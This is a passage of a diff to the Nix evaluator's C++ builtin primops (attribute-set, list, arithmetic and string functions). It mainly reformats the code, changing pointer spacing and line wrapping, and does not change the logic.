ContentAddressMethod::Raw::Flat; else if (n == "sha256") - expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256); + expectedHash = newHashAllowEmpty( + state.forceStringNoCtx( + *attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), + HashAlgorithm::SHA256); else - state.error( - "unsupported argument '%1%' to 'builtins.path'", - state.symbols[attr.name] - ).atPos(attr.pos).debugThrow(); + state.error("unsupported argument '%1%' to 'builtins.path'", state.symbols[attr.name]) + .atPos(attr.pos) + .debugThrow(); } if (!path) - state.error( - "missing required 'path' attribute in the first argument to 'builtins.path'" - ).atPos(pos).debugThrow(); + state.error("missing required 'path' attribute in the first argument to 'builtins.path'") + .atPos(pos) + .debugThrow(); if (name.empty()) name = path->baseName(); @@ -2664,15 +2780,13 @@ static RegisterPrimOp primop_path({ .fun = prim_path, }); - /************************************************************* * Sets *************************************************************/ - /* Return the names of the attributes in a set as a sorted list of strings. */ -static void prim_attrNames(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_attrNames(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrNames"); @@ -2681,8 +2795,7 @@ static void prim_attrNames(EvalState & state, const PosIdx pos, Value * * args, for (const auto & [n, i] : enumerate(*args[0]->attrs())) (list[n] = state.allocValue())->mkString(state.symbols[i.name]); - std::sort(list.begin(), list.end(), - [](Value * v1, Value * v2) { return strcmp(v1->c_str(), v2->c_str()) < 0; }); + std::sort(list.begin(), list.end(), [](Value * v1, Value * v2) { return strcmp(v1->c_str(), v2->c_str()) < 0; }); v.mkList(list); } @@ -2700,7 +2813,7 @@ static RegisterPrimOp primop_attrNames({ /* Return the values of the attributes in a set as a list, in the same order as attrNames. */ -static void prim_attrValues(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_attrValues(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrValues"); @@ -2709,12 +2822,10 @@ static void prim_attrValues(EvalState & state, const PosIdx pos, Value * * args, for (const auto & [n, i] : enumerate(*args[0]->attrs())) list[n] = (Value *) &i; - std::sort(list.begin(), list.end(), - [&](Value * v1, Value * v2) { - std::string_view s1 = state.symbols[((Attr *) v1)->name], - s2 = state.symbols[((Attr *) v2)->name]; - return s1 < s2; - }); + std::sort(list.begin(), list.end(), [&](Value * v1, Value * v2) { + std::string_view s1 = state.symbols[((Attr *) v1)->name], s2 = state.symbols[((Attr *) v2)->name]; + return s1 < s2; + }); for (auto & v : list) v = ((Attr *) v)->value; @@ -2733,18 +2844,14 @@ static RegisterPrimOp primop_attrValues({ }); /* Dynamic version of the `.' operator. */ -void prim_getAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void prim_getAttr(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getAttr"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.getAttr"); - auto i = getAttr( - state, - state.symbols.create(attr), - args[1]->attrs(), - "in the attribute set under consideration" - ); + auto i = getAttr(state, state.symbols.create(attr), args[1]->attrs(), "in the attribute set under consideration"); // !!! add to stack trace? - if (state.countCalls && i->pos) state.attrSelects[i->pos]++; + if (state.countCalls && i->pos) + state.attrSelects[i->pos]++; state.forceValue(*i->value, pos); v = *i->value; } @@ -2762,9 +2869,10 @@ static RegisterPrimOp primop_getAttr({ }); /* Return position information of the specified attribute. */ -static void prim_unsafeGetAttrPos(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_unsafeGetAttrPos(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.unsafeGetAttrPos"); + auto attr = state.forceStringNoCtx( + *args[0], pos, "while evaluating the first argument passed to builtins.unsafeGetAttrPos"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.unsafeGetAttrPos"); auto i = args[1]->attrs()->find(state.symbols.create(attr)); if (i == args[1]->attrs()->end()) @@ -2773,17 +2881,18 @@ static void prim_unsafeGetAttrPos(EvalState & state, const PosIdx pos, Value * * state.mkPos(v, i->pos); } -static RegisterPrimOp primop_unsafeGetAttrPos(PrimOp { - .name = "__unsafeGetAttrPos", - .args = {"s", "set"}, - .arity = 2, - .doc = R"( +static RegisterPrimOp primop_unsafeGetAttrPos( + PrimOp{ + .name = "__unsafeGetAttrPos", + .args = {"s", "set"}, + .arity = 2, + .doc = R"( `unsafeGetAttrPos` returns the position of the attribute named *s* from *set*. This is used by Nixpkgs to provide location information in error messages. )", - .fun = prim_unsafeGetAttrPos, -}); + .fun = prim_unsafeGetAttrPos, + }); // access to exact position information (ie, line and colum numbers) is deferred // due to the cost associated with calculating that information and how rarely @@ -2797,19 +2906,14 @@ static RegisterPrimOp primop_unsafeGetAttrPos(PrimOp { // but each type of thunk has an associated runtime cost in the current evaluator. // as with black holes this cost is too high to justify another thunk type to check // for in the very hot path that is forceValue. -static struct LazyPosAcessors { - PrimOp primop_lineOfPos{ - .arity = 1, - .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.positions[PosIdx(args[0]->integer().value)].line); - } - }; - PrimOp primop_columnOfPos{ - .arity = 1, - .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { - v.mkInt(state.positions[PosIdx(args[0]->integer().value)].column); - } - }; +static struct LazyPosAcessors +{ + PrimOp primop_lineOfPos{.arity = 1, .fun = [](EvalState & state, PosIdx pos, Value ** args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer().value)].line); + }}; + PrimOp primop_columnOfPos{.arity = 1, .fun = [](EvalState & state, PosIdx pos, Value ** args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer().value)].column); + }}; Value lineOfPos, columnOfPos; @@ -2834,7 +2938,7 @@ void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value } /* Dynamic version of the `?' operator. */ -static void prim_hasAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_hasAttr(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hasAttr"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.hasAttr"); @@ -2853,7 +2957,7 @@ static RegisterPrimOp primop_hasAttr({ }); /* Determine whether the argument is a set. */ -static void prim_isAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isAttrs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nAttrs); @@ -2868,7 +2972,7 @@ static RegisterPrimOp primop_isAttrs({ .fun = prim_isAttrs, }); -static void prim_removeAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_removeAttrs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.removeAttrs"); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.removeAttrs"); @@ -2880,7 +2984,8 @@ static void prim_removeAttrs(EvalState & state, const PosIdx pos, Value * * args boost::container::small_vector names; names.reserve(args[1]->listSize()); for (auto elem : args[1]->listItems()) { - state.forceStringNoCtx(*elem, pos, "while evaluating the values of the second argument passed to builtins.removeAttrs"); + state.forceStringNoCtx( + *elem, pos, "while evaluating the values of the second argument passed to builtins.removeAttrs"); names.emplace_back(state.symbols.create(elem->string_view()), nullptr); } std::sort(names.begin(), names.end()); @@ -2890,9 +2995,7 @@ static void prim_removeAttrs(EvalState & state, const PosIdx pos, Value * * args vector. */ auto attrs = state.buildBindings(args[0]->attrs()->size()); std::set_difference( - args[0]->attrs()->begin(), args[0]->attrs()->end(), - names.begin(), names.end(), - std::back_inserter(attrs)); + args[0]->attrs()->begin(), args[0]->attrs()->end(), names.begin(), names.end(), std::back_inserter(attrs)); v.mkAttrs(attrs.alreadySorted()); } @@ -2917,7 +3020,7 @@ static RegisterPrimOp primop_removeAttrs({ "nameN"; value = valueN;}] is transformed to {name1 = value1; ... nameN = valueN;}. In case of duplicate occurrences of the same name, the first takes precedence. */ -static void prim_listToAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_listToAttrs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the argument passed to builtins.listToAttrs"); @@ -2930,7 +3033,10 @@ static void prim_listToAttrs(EvalState & state, const PosIdx pos, Value * * args auto j = getAttr(state, state.sName, v2->attrs(), "in a {name=...; value=...;} pair"); - auto name = state.forceStringNoCtx(*j->value, j->pos, "while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs"); + auto name = state.forceStringNoCtx( + *j->value, + j->pos, + "while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs"); auto sym = state.symbols.create(name); if (seen.insert(sym).second) { @@ -2973,7 +3079,7 @@ static RegisterPrimOp primop_listToAttrs({ .fun = prim_listToAttrs, }); -static void prim_intersectAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_intersectAttrs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.intersectAttrs"); state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.intersectAttrs"); @@ -3027,8 +3133,7 @@ static void prim_intersectAttrs(EvalState & state, const PosIdx pos, Value * * a if (r != right.end()) attrs.insert(*r); } - } - else { + } else { for (auto & r : right) { auto l = left.find(r.name); if (l != left.end()) @@ -3051,16 +3156,18 @@ static RegisterPrimOp primop_intersectAttrs({ .fun = prim_intersectAttrs, }); -static void prim_catAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_catAttrs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - auto attrName = state.symbols.create(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.catAttrs")); + auto attrName = state.symbols.create( + state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.catAttrs")); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.catAttrs"); SmallValueVector res(args[1]->listSize()); size_t found = 0; for (auto v2 : args[1]->listItems()) { - state.forceAttrs(*v2, pos, "while evaluating an element in the list passed as second argument to builtins.catAttrs"); + state.forceAttrs( + *v2, pos, "while evaluating an element in the list passed as second argument to builtins.catAttrs"); if (auto i = v2->attrs()->get(attrName)) res[found++] = i->value; } @@ -3088,7 +3195,7 @@ static RegisterPrimOp primop_catAttrs({ .fun = prim_catAttrs, }); -static void prim_functionArgs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_functionArgs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); if (args[0]->isPrimOpApp() || args[0]->isPrimOp()) { @@ -3127,7 +3234,7 @@ static RegisterPrimOp primop_functionArgs({ }); /* */ -static void prim_mapAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_mapAttrs(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.mapAttrs"); @@ -3159,7 +3266,7 @@ static RegisterPrimOp primop_mapAttrs({ .fun = prim_mapAttrs, }); -static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value ** args, Value & v) { // we will first count how many values are present for each given key. // we then allocate a single attrset and pre-populate it with lists of @@ -3182,7 +3289,8 @@ static void prim_zipAttrsWith(EvalState & state, const PosIdx pos, Value * * arg const auto listItems = args[1]->listItems(); for (auto & vElem : listItems) { - state.forceAttrs(*vElem, noPos, "while evaluating a value of the list passed as second argument to builtins.zipAttrsWith"); + state.forceAttrs( + *vElem, noPos, "while evaluating a value of the list passed as second argument to builtins.zipAttrsWith"); for (auto & attr : *vElem->attrs()) attrsSeen.try_emplace(attr.name).first->second.size++; } @@ -3246,14 +3354,12 @@ static RegisterPrimOp primop_zipAttrsWith({ .fun = prim_zipAttrsWith, }); - /************************************************************* * Lists *************************************************************/ - /* Determine whether the argument is a list. */ -static void prim_isList(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_isList(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); v.mkBool(args[0]->type() == nList); @@ -3269,16 +3375,15 @@ static RegisterPrimOp primop_isList({ }); /* Return the n-1'th element of a list. */ -static void prim_elemAt(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_elemAt(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - NixInt::Inner n = state.forceInt(*args[1], pos, "while evaluating the second argument passed to 'builtins.elemAt'").value; + NixInt::Inner n = + state.forceInt(*args[1], pos, "while evaluating the second argument passed to 'builtins.elemAt'").value; state.forceList(*args[0], pos, "while evaluating the first argument passed to 'builtins.elemAt'"); if (n < 0 || (unsigned int) n >= args[0]->listSize()) - state.error( - "'builtins.elemAt' called with index %d on a list of size %d", - n, - args[0]->listSize() - ).atPos(pos).debugThrow(); + state.error("'builtins.elemAt' called with index %d on a list of size %d", n, args[0]->listSize()) + .atPos(pos) + .debugThrow(); state.forceValue(*args[0]->listElems()[n], pos); v = *args[0]->listElems()[n]; } @@ -3294,13 +3399,11 @@ static RegisterPrimOp primop_elemAt({ }); /* Return the first element of a list. */ -static void prim_head(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_head(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to 'builtins.head'"); if (args[0]->listSize() == 0) - state.error( - "'builtins.head' called on an empty list" - ).atPos(pos).debugThrow(); + state.error("'builtins.head' called on an empty list").atPos(pos).debugThrow(); state.forceValue(*args[0]->listElems()[0], pos); v = *args[0]->listElems()[0]; } @@ -3319,7 +3422,7 @@ static RegisterPrimOp primop_head({ /* Return a list consisting of everything but the first element of a list. Warning: this function takes O(n) time, so you probably don't want to use it! */ -static void prim_tail(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_tail(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to 'builtins.tail'"); if (args[0]->listSize() == 0) @@ -3348,7 +3451,7 @@ static RegisterPrimOp primop_tail({ }); /* Apply a function to every element of a list. */ -static void prim_map(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_map(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.map"); @@ -3361,8 +3464,7 @@ static void prim_map(EvalState & state, const PosIdx pos, Value * * args, Value auto list = state.buildList(args[1]->listSize()); for (const auto & [n, v] : enumerate(list)) - (v = state.allocValue())->mkApp( - args[0], args[1]->listElems()[n]); + (v = state.allocValue())->mkApp(args[0], args[1]->listElems()[n]); v.mkList(list); } @@ -3385,7 +3487,7 @@ static RegisterPrimOp primop_map({ /* Filter a list using a predicate; that is, return a list containing every element from the list for which the predicate function returns true. */ -static void prim_filter(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_filter(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.filter"); @@ -3403,7 +3505,8 @@ static void prim_filter(EvalState & state, const PosIdx pos, Value * * args, Val for (unsigned int n = 0; n < args[1]->listSize(); ++n) { Value res; state.callFunction(*args[0], *args[1]->listElems()[n], res, noPos); - if (state.forceBool(res, pos, "while evaluating the return value of the filtering function passed to builtins.filter")) + if (state.forceBool( + res, pos, "while evaluating the return value of the filtering function passed to builtins.filter")) vs[k++] = args[1]->listElems()[n]; else same = false; @@ -3413,7 +3516,8 @@ static void prim_filter(EvalState & state, const PosIdx pos, Value * * args, Val v = *args[1]; else { auto list = state.buildList(k); - for (const auto & [n, v] : enumerate(list)) v = vs[n]; + for (const auto & [n, v] : enumerate(list)) + v = vs[n]; v.mkList(list); } } @@ -3429,7 +3533,7 @@ static RegisterPrimOp primop_filter({ }); /* Return true if a list contains a given element. */ -static void prim_elem(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_elem(EvalState & state, const PosIdx pos, Value ** args, Value & v) { bool res = false; state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.elem"); @@ -3452,10 +3556,15 @@ static RegisterPrimOp primop_elem({ }); /* Concatenate a list of lists. */ -static void prim_concatLists(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_concatLists(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.concatLists"); - state.concatLists(v, args[0]->listSize(), args[0]->listElems(), pos, "while evaluating a value of the list passed to builtins.concatLists"); + state.concatLists( + v, + args[0]->listSize(), + args[0]->listElems(), + pos, + "while evaluating a value of the list passed to builtins.concatLists"); } static RegisterPrimOp primop_concatLists({ @@ -3468,7 +3577,7 @@ static RegisterPrimOp primop_concatLists({ }); /* Return the length of a list. This is an O(1) time operation. */ -static void prim_length(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_length(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.length"); v.mkInt(args[0]->listSize()); @@ -3485,7 +3594,7 @@ static RegisterPrimOp primop_length({ /* Reduce a list by applying a binary operator, from left to right. The operator is applied strictly. */ -static void prim_foldlStrict(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_foldlStrict(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.foldlStrict"); state.forceList(*args[2], pos, "while evaluating the third argument passed to builtins.foldlStrict"); @@ -3494,7 +3603,7 @@ static void prim_foldlStrict(EvalState & state, const PosIdx pos, Value * * args Value * vCur = args[1]; for (auto [n, elem] : enumerate(args[2]->listItems())) { - Value * vs []{vCur, elem}; + Value * vs[]{vCur, elem}; vCur = n == args[2]->listSize() - 1 ? &v : state.allocValue(); state.callFunction(*args[0], vs, *vCur, pos); } @@ -3525,14 +3634,15 @@ static RegisterPrimOp primop_foldlStrict({ .fun = prim_foldlStrict, }); -static void anyOrAll(bool any, EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void anyOrAll(bool any, EvalState & state, const PosIdx pos, Value ** args, Value & v) { - state.forceFunction(*args[0], pos, std::string("while evaluating the first argument passed to builtins.") + (any ? "any" : "all")); - state.forceList(*args[1], pos, std::string("while evaluating the second argument passed to builtins.") + (any ? "any" : "all")); + state.forceFunction( + *args[0], pos, std::string("while evaluating the first argument passed to builtins.") + (any ? "any" : "all")); + state.forceList( + *args[1], pos, std::string("while evaluating the second argument passed to builtins.") + (any ? "any" : "all")); - std::string_view errorCtx = any - ? "while evaluating the return value of the function passed to builtins.any" - : "while evaluating the return value of the function passed to builtins.all"; + std::string_view errorCtx = any ? "while evaluating the return value of the function passed to builtins.any" + : "while evaluating the return value of the function passed to builtins.all"; Value vTmp; for (auto elem : args[1]->listItems()) { @@ -3547,8 +3657,7 @@ static void anyOrAll(bool any, EvalState & state, const PosIdx pos, Value * * ar v.mkBool(!any); } - -static void prim_any(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_any(EvalState & state, const PosIdx pos, Value ** args, Value & v) { anyOrAll(true, state, pos, args, v); } @@ -3563,7 +3672,7 @@ static RegisterPrimOp primop_any({ .fun = prim_any, }); -static void prim_all(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_all(EvalState & state, const PosIdx pos, Value ** args, Value & v) { anyOrAll(false, state, pos, args, v); } @@ -3578,7 +3687,7 @@ static RegisterPrimOp primop_all({ .fun = prim_all, }); -static void prim_genList(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_genList(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto len_ = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.genList").value; @@ -3616,10 +3725,9 @@ static RegisterPrimOp primop_genList({ .fun = prim_genList, }); -static void prim_lessThan(EvalState & state, const PosIdx pos, Value * * args, Value & v); +static void prim_lessThan(EvalState & state, const PosIdx pos, Value ** args, Value & v); - -static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_sort(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.sort"); @@ -3641,13 +3749,15 @@ static void prim_sort(EvalState & state, const PosIdx pos, Value * * args, Value if (args[0]->isPrimOp()) { auto ptr = args[0]->primOp()->fun.target(); if (ptr && *ptr == prim_lessThan) - return CompareValues(state, noPos, "while evaluating the ordering function passed to builtins.sort")(a, b); + return CompareValues(state, noPos, "while evaluating the ordering function passed to builtins.sort")( + a, b); } Value * vs[] = {a, b}; Value vBool; state.callFunction(*args[0], vs, vBool, noPos); - return state.forceBool(vBool, pos, "while evaluating the return value of the sorting function passed to builtins.sort"); + return state.forceBool( + vBool, pos, "while evaluating the return value of the sorting function passed to builtins.sort"); }; /* FIXME: std::sort can segfault if the comparator is not a strict @@ -3679,7 +3789,7 @@ static RegisterPrimOp primop_sort({ .fun = prim_sort, }); -static void prim_partition(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_partition(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.partition"); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.partition"); @@ -3693,7 +3803,8 @@ static void prim_partition(EvalState & state, const PosIdx pos, Value * * args, state.forceValue(*vElem, pos); Value res; state.callFunction(*args[0], *vElem, res, pos); - if (state.forceBool(res, pos, "while evaluating the return value of the partition function passed to builtins.partition")) + if (state.forceBool( + res, pos, "while evaluating the return value of the partition function passed to builtins.partition")) right.push_back(vElem); else wrong.push_back(vElem); @@ -3739,7 +3850,7 @@ static RegisterPrimOp primop_partition({ .fun = prim_partition, }); -static void prim_groupBy(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_groupBy(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.groupBy"); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.groupBy"); @@ -3749,7 +3860,8 @@ static void prim_groupBy(EvalState & state, const PosIdx pos, Value * * args, Va for (auto vElem : args[1]->listItems()) { Value res; state.callFunction(*args[0], *vElem, res, pos); - auto name = state.forceStringNoCtx(res, pos, "while evaluating the return value of the grouping function passed to builtins.groupBy"); + auto name = state.forceStringNoCtx( + res, pos, "while evaluating the return value of the grouping function passed to builtins.groupBy"); auto sym = state.symbols.create(name); auto vector = attrs.try_emplace(sym, ValueVector()).first; vector->second.push_back(vElem); @@ -3791,7 +3903,7 @@ static RegisterPrimOp primop_groupBy({ .fun = prim_groupBy, }); -static void prim_concatMap(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_concatMap(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.concatMap"); state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.concatMap"); @@ -3804,7 +3916,10 @@ static void prim_concatMap(EvalState & state, const PosIdx pos, Value * * args, for (unsigned int n = 0; n < nrLists; ++n) { Value * vElem = args[1]->listElems()[n]; state.callFunction(*args[0], *vElem, lists[n], pos); - state.forceList(lists[n], lists[n].determinePos(args[0]->determinePos(pos)), "while evaluating the return value of the function passed to builtins.concatMap"); + state.forceList( + lists[n], + lists[n].determinePos(args[0]->determinePos(pos)), + "while evaluating the return value of the function passed to builtins.concatMap"); len += lists[n].listSize(); } @@ -3829,19 +3944,18 @@ static RegisterPrimOp primop_concatMap({ .fun = prim_concatMap, }); - /************************************************************* * Integer arithmetic *************************************************************/ - -static void prim_add(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_add(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); if (args[0]->type() == nFloat || args[1]->type() == nFloat) - v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first argument of the addition") - + state.forceFloat(*args[1], pos, "while evaluating the second argument of the addition")); + v.mkFloat( + state.forceFloat(*args[0], pos, "while evaluating the first argument of the addition") + + state.forceFloat(*args[1], pos, "while evaluating the second argument of the addition")); else { auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument of the addition"); auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument of the addition"); @@ -3864,13 +3978,14 @@ static RegisterPrimOp primop_add({ .fun = prim_add, }); -static void prim_sub(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_sub(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); if (args[0]->type() == nFloat || args[1]->type() == nFloat) - v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first argument of the subtraction") - - state.forceFloat(*args[1], pos, "while evaluating the second argument of the subtraction")); + v.mkFloat( + state.forceFloat(*args[0], pos, "while evaluating the first argument of the subtraction") + - state.forceFloat(*args[1], pos, "while evaluating the second argument of the subtraction")); else { auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument of the subtraction"); auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument of the subtraction"); @@ -3894,13 +4009,14 @@ static RegisterPrimOp primop_sub({ .fun = prim_sub, }); -static void prim_mul(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_mul(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); if (args[0]->type() == nFloat || args[1]->type() == nFloat) - v.mkFloat(state.forceFloat(*args[0], pos, "while evaluating the first of the multiplication") - * state.forceFloat(*args[1], pos, "while evaluating the second argument of the multiplication")); + v.mkFloat( + state.forceFloat(*args[0], pos, "while evaluating the first of the multiplication") + * state.forceFloat(*args[1], pos, "while evaluating the second argument of the multiplication")); else { auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument of the multiplication"); auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument of the multiplication"); @@ -3924,7 +4040,7 @@ static RegisterPrimOp primop_mul({ .fun = prim_mul, }); -static void prim_div(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_div(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); @@ -3957,7 +4073,7 @@ static RegisterPrimOp primop_div({ .fun = prim_div, }); -static void prim_bitAnd(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_bitAnd(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument passed to builtins.bitAnd"); auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.bitAnd"); @@ -3973,7 +4089,7 @@ static RegisterPrimOp primop_bitAnd({ .fun = prim_bitAnd, }); -static void prim_bitOr(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_bitOr(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument passed to builtins.bitOr"); auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.bitOr"); @@ -3990,7 +4106,7 @@ static RegisterPrimOp primop_bitOr({ .fun = prim_bitOr, }); -static void prim_bitXor(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_bitXor(EvalState & state, const PosIdx pos, Value ** args, Value & v) { auto i1 = state.forceInt(*args[0], pos, "while evaluating the first argument passed to builtins.bitXor"); auto i2 = state.forceInt(*args[1], pos, "while evaluating the second argument passed to builtins.bitXor"); @@ -4007,7 +4123,7 @@ static RegisterPrimOp primop_bitXor({ .fun = prim_bitXor, }); -static void prim_lessThan(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_lessThan(EvalState & state, const PosIdx pos, Value ** args, Value & v) { state.forceValue(*args[0], pos); state.forceValue(*args[1], pos); @@ -4027,21 +4143,18 @@ static RegisterPrimOp primop_lessThan({ .fun = prim_lessThan, }); - /************************************************************* * String manipulation *************************************************************/ - /* Convert the argument to a string. Paths are *not* copied to the store, so `toString /foo/bar' yields `"/foo/bar"', not `"/nix/store/whatever..."'. */ -static void prim_toString(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_toString(EvalState & state, const PosIdx pos, Value ** args, Value & v) { NixStringContext context; - auto s = state.coerceToString(pos, *args[0], context, - "while evaluating the first argument passed to builtins.toString", - true, false); + auto s = state.coerceToString( + pos, *args[0], context, "while evaluating the first argument passed to builtins.toString", true, false); v.mkString(*s, context); } @@ -4073,15 +4186,24 @@ static RegisterPrimOp primop_toString({ at byte position `min(start, stringLength str)' inclusive and ending at `min(start + len, stringLength str)'. `start' must be non-negative. */ -static void prim_substring(EvalState & state, const PosIdx pos, Value * * args, Value & v) +static void prim_substring(EvalState & state, const PosIdx pos, Value ** args, Value & v) { - NixInt::Inner start = state.forceInt(*args[0], pos, "while evaluating the first argument (the start offset) passed to builtins.substring").value; + NixInt::Inner start = + state + .forceInt( + *args[0], pos, "while evaluating the first argument (the start offset) passed to builtins.substring") + .value; if (start < 0) state.error("negative start position in 'substring'").atPos(pos).debugThrow(); - - NixInt::Inner len = state.forceInt(*args[1], pos, "while evaluating the second argument (the substring length) passed to builtins.substring").value; + NixInt::Inner len = + state + .forceInt( + *args[1], + pos, + "while evaluating the second argument (the substring length) passed 